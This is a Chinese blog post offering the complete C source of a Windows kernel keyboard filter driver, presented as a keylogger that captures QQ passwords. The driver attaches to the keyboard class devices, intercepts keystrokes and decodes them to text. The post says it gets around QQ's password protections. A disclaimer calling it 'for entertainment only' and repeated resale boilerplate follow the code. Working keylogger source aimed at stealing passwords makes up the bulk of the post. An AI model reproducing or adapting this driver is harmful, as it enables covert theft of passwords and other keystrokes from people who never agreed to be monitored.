键盘记录器,可截获到 QQ 的密码

        由于 QQ 密码做了特殊的保护,所以通过远程注入得到密码框内容以及通过钩子来得到键盘消息均不能探测到 QQ 的密码,但是通过对键盘驱动的过滤却是可以记录下 QQ 密码输入期间的内容,附上源码。

#define DBG 1

#include <ntddk.h>
#include <ntstrsafe.h>

#include "KeyMonitor.h"

extern POBJECT_TYPE IoDriverObjectType;

PIO_STACK_LOCATION g_islCompletion;
int g_caps, g_shift, g_num;

unsigned char asciiTbl[]={
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //normal
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09, //caps
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //shift
	0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
	0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
	0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E,
	0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09, //caps + shift
	0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
	0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
	0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
	0x32, 0x33, 0x30, 0x2E
};

NTSTATUS
ObReferenceObjectByName (
    __in PUNICODE_STRING ObjectName,
    __in ULONG Attributes,
    __in_opt PACCESS_STATE AccessState,
    __in_opt ACCESS_MASK DesiredAccess,
    __in POBJECT_TYPE ObjectType,
    __in KPROCESSOR_MODE AccessMode,
    __inout_opt PVOID ParseContext,
    __out PVOID *Object
    );



VOID KMUnload(IN PDRIVER_OBJECT pDriverObject);
NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath);
NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp);
NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context);
void KMPrintKey(UCHAR sch);

NTSTATUS DriverEntry(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    int i = 0;

    KdPrint(("This is my driver, Henzox!\n"));

    pDriverObject->DriverUnload = KMUnload;

    for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) {
        pDriverObject->MajorFunction[i] = KMUnHandleIrp;
    } 

    pDriverObject->MajorFunction[IRP_MJ_CREATE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_CLOSE] = KMOpenClose;
    pDriverObject->MajorFunction[IRP_MJ_PNP] = KMPnp;
    pDriverObject->MajorFunction[IRP_MJ_POWER] = KMPower;
    pDriverObject->MajorFunction[IRP_MJ_READ] = KMRead;

    return KMAddDevice(pDriverObject, puServiceRegPath);
}

VOID KMUnload(IN PDRIVER_OBJECT pDriverObject)
{
    PDEVICE_OBJECT tmpDevice;
    PMY_DEVICE_EXTENSION myDeviceExtension;

    KdPrint(("The unload function is invoked!\n"));

    tmpDevice = pDriverObject->DeviceObject;
    while (tmpDevice) {
        PDEVICE_OBJECT nextDevice;

        KdPrint(("delete devobj: 0x%p.\n",tmpDevice));
        myDeviceExtension = (PMY_DEVICE_EXTENSION)tmpDevice->DeviceExtension;
        // 如果还有完成例程没有执行,则取消掉这个完成例程
		if (myDeviceExtension->IslCompletion) {
		    myDeviceExtension->IslCompletion->CompletionRoutine = NULL;
            // 只去掉与完成例程相关的几个标志位,栈内的其它标志位非常重要,不能去除
			myDeviceExtension->IslCompletion->Control &= ~(SL_INVOKE_ON_SUCCESS | SL_INVOKE_ON_CANCEL | SL_INVOKE_ON_ERROR);
		}
        IoDetachDevice(myDeviceExtension->AttachedTo);
        nextDevice = tmpDevice->NextDevice;
        IoDeleteDevice(tmpDevice);
        tmpDevice = nextDevice;
    }
}

NTSTATUS KMUnHandleIrp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    
    KdPrint(("Irp: %d\n", IoGetCurrentIrpStackLocation(Irp)->MajorFunction));
    
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMOpenClose(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMOpenClose.\n"));

    Irp->IoStatus.Status = STATUS_SUCCESS;
    Irp->IoStatus.Information = 0;
    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    
    return STATUS_SUCCESS;
}

NTSTATUS KMPnp(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PIO_STACK_LOCATION pIo = IoGetCurrentIrpStackLocation(Irp);

    KdPrint(("KMPnp.\n"));
    
	switch (pIo->MinorFunction) {
	default:
        IoSkipCurrentIrpStackLocation(Irp);
        IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
        break;
    }

    return STATUS_SUCCESS;
}

NTSTATUS KMPower(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    KdPrint(("KMPower.\n"));

    IoSkipCurrentIrpStackLocation(Irp);
    PoStartNextPowerIrp(Irp);
    return PoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}

NTSTATUS KMAddDevice(IN PDRIVER_OBJECT pDriverObject,IN PUNICODE_STRING puServiceRegPath)
{
    UNICODE_STRING usObjectName;
    PDRIVER_OBJECT KbdDriver;
    NTSTATUS status;
    PDEVICE_OBJECT tmpDevice, myDevice;
    UNICODE_STRING usDeviceName;
    WCHAR buff[64];
    int index = 0;
    PMY_DEVICE_EXTENSION DeviceExtension;

    RtlInitUnicodeString(&usObjectName, L"\\Driver\\KbdClass");

    status = ObReferenceObjectByName(&usObjectName,
                                     OBJ_CASE_INSENSITIVE,
                                     NULL,
                                     0,
                                     IoDriverObjectType,
                                     KernelMode,
                                     NULL,
                                     (PVOID)&KbdDriver);
	if (!NT_SUCCESS(status)) {
        KdPrint(("Find the kbd class failed!\n"));
		return status;
    }

    tmpDevice = KbdDriver->DeviceObject;
    while (tmpDevice) {
		swprintf(buff, L"\\Device\\MyDevice%d", index++);
        RtlInitUnicodeString(&usDeviceName, buff);
        status = IoCreateDevice(pDriverObject,
                                sizeof(MY_DEVICE_EXTENSION),
                                &usDeviceName,
                                tmpDevice->DeviceType,
                                tmpDevice->Characteristics,
                                FALSE,
                                &myDevice);
        if (!NT_SUCCESS(status)) {
            ObDereferenceObject(KbdDriver);
			return status;
        }
        
        KdPrint(("devobj: 0x%p.\n",myDevice));

        IoAttachDeviceToDeviceStack(myDevice, tmpDevice);
        DeviceExtension = (PMY_DEVICE_EXTENSION)myDevice->DeviceExtension;
        DeviceExtension->AttachedTo = tmpDevice;
        /* Setup my device */
        myDevice->StackSize = tmpDevice->StackSize + 1;
        myDevice->Flags |= (tmpDevice->Flags & (DO_BUFFERED_IO));			// 在 IoCreateDevice 时 Flags 会被赋于一些标志,这里应该保留这些标志,(如 DO_DEVICE_HAS_NAME 等,牵涉到引用计数)

        tmpDevice = tmpDevice->NextDevice;
    }

    ObDereferenceObject(KbdDriver);
    return STATUS_SUCCESS;
}

NTSTATUS KMRead(DEVICE_OBJECT *DeviceObject, IRP *Irp)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;

    //KdPrint(("KMRead.\n"));

    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    IoCopyCurrentIrpStackLocationToNext(Irp);
    /* 只有驱动可以保证在完成例程被调用之前不被卸载的情况下,可以使用 IoSetCompletionRoutine,
	   如果你不能保证,那么就需要用 IoSetCompletionRoutineEx,让内核来使驱动不被卸载*/
	/*IoSetCompletionRoutine(Irp,
                           KMReadCompletion,
                           NULL,
                           TRUE,
                           TRUE,
                           TRUE);*/

    IoSetCompletionRoutineEx(DeviceObject,
                             Irp,
                             KMReadCompletion,
                             NULL,
                             TRUE,
                             TRUE,
                             TRUE);
    myDeviceExtension->IslCompletion = IoGetNextIrpStackLocation(Irp);

    return IoCallDriver(((PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension)->AttachedTo, Irp);
}


NTSTATUS KMReadCompletion(PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context)
{
    PMY_DEVICE_EXTENSION myDeviceExtension;
    PUCHAR buff;
    int len;

    //KdPrint(("KMReadCompletion: Key--0x%p\n", *(PULONG)Irp->AssociatedIrp.SystemBuffer));
	/* 该次 IRP 的完成例程已执行,栈会在该函数执行完时自动清空,所以不应该在引用该栈 */
    myDeviceExtension = (PMY_DEVICE_EXTENSION)DeviceObject->DeviceExtension;
    myDeviceExtension->IslCompletion = NULL;

	if (NT_SUCCESS(Irp->IoStatus.Status)) {
        // 由于设备标志为 DO_BUFFERED_IO, 内核分配了该缓冲区
        buff = Irp->AssociatedIrp.SystemBuffer;
        // 返回值一般都保存在 Information 中,即长度
        len = Irp->IoStatus.Information;

        if (buff[4] == 0) {
            /* 键盘被按下 */
			switch (buff[2]) {
			case 0x3A:
                g_caps = (g_caps == 1)?0:1;
                break;
			case 0x2A:
			case 0x36:
                g_shift = 1;
                break;
			case 0x45:
                g_num = (g_num == 1)?0:1;
                break;
			default:
                KMPrintKey(buff[2]);
                break;
            }
		} else if (buff[4] == 1) {
            /* 键盘被释放 */
			switch (buff[2]) {
			case 0x2A:
			case 0x36:
                g_shift = 0;
                break;
			default: break;
            }
        }
    }

    if (Irp->PendingReturned) {
        IoMarkIrpPending(Irp);
    }

    return Irp->IoStatus.Status;
}

void KMPrintKey(UCHAR sch)
{
    UCHAR ch = 0;
    if ((sch < 0x47) || ((sch >= 0x47 && sch < 0x54) && g_num==0)) {
        ch = asciiTbl[sch];
        if(g_shift && g_caps)
            ch = asciiTbl[sch+84*3];
        else if(g_shift==1)
            ch = asciiTbl[sch+84*2];
        else if(g_caps==1)
            ch = asciiTbl[sch+84];
	}

	if(ch==0x08)
	{
		//DbgPrint("退格");
	}

	if (ch >= 0x20 && ch < 0x7F)
	{
		DbgPrint("%C",ch);
	}
}

        键盘映射表来源于网络。整段代码仅供娱乐使用。

1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 、4下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合;、下载 4使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合;、 4下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码
1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.m或d论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 、1资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码
1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。、资源 5来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。、资 5源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码。 1、资源项目源码均已通过严格测试验证,保证能够正常运行; 2、项目问题、技术讨论,可以给博主私信或留言,博主看到后会第一时间与您进行沟通; 3、本项目比较适合计算机领域相关的毕业设计课题、课程作业等使用,尤其对于人工智能、计算机科学与技术等相关专业,更为适合; 4、下载使用后,可先查看README.md或论文文件(如有),本项目仅用作交流学习参考,请切勿用于商业用途。 5、资源来自互联网采集,如有侵权,私聊博主删除。 6、可私信博主看论文后选择购买源代码
评论 77
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值